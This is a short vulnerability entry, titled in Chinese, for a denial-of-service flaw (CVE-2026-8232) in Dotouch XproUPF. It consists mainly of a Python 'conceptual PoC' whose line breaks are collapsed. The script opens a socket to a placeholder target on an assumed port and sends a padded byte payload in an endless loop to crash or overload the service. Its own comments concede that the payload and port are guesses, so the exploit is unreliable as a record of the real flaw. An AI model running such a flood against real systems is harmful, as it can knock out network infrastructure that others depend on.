CVE-2026-8232 Dotouch XproUPF拒绝服务漏洞

import socket import time # Conceptual PoC for CVE-2026-8232 # Target: Dotouch XproUPF vlib_worker_loop # This script attempts to trigger the DoS by sending malformed data. target_ip = "TARGET_IP" target_port = 8080 # Assumed port, replace with actual UPF interface port def trigger_dos(): try: # Create a socket connection to the target s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Craft a payload that might trigger the vlib_worker_loop issue # Note: The specific payload structure depends on the protocol used by XproUPF. # This is a generic placeholder. payload = b"\x00\x00\x00\x00" * 1000 + b"TRIGGER_CRASH" print("[*] Sending malicious payload to trigger DoS...") s.send(payload) # Keep connection open or send multiple packets to stress the loop while True: s.send(payload) time.sleep(0.1) except Exception as e: print(f"[!] Error: {e}") finally: s.close() if __name__ == "__main__": trigger_dos()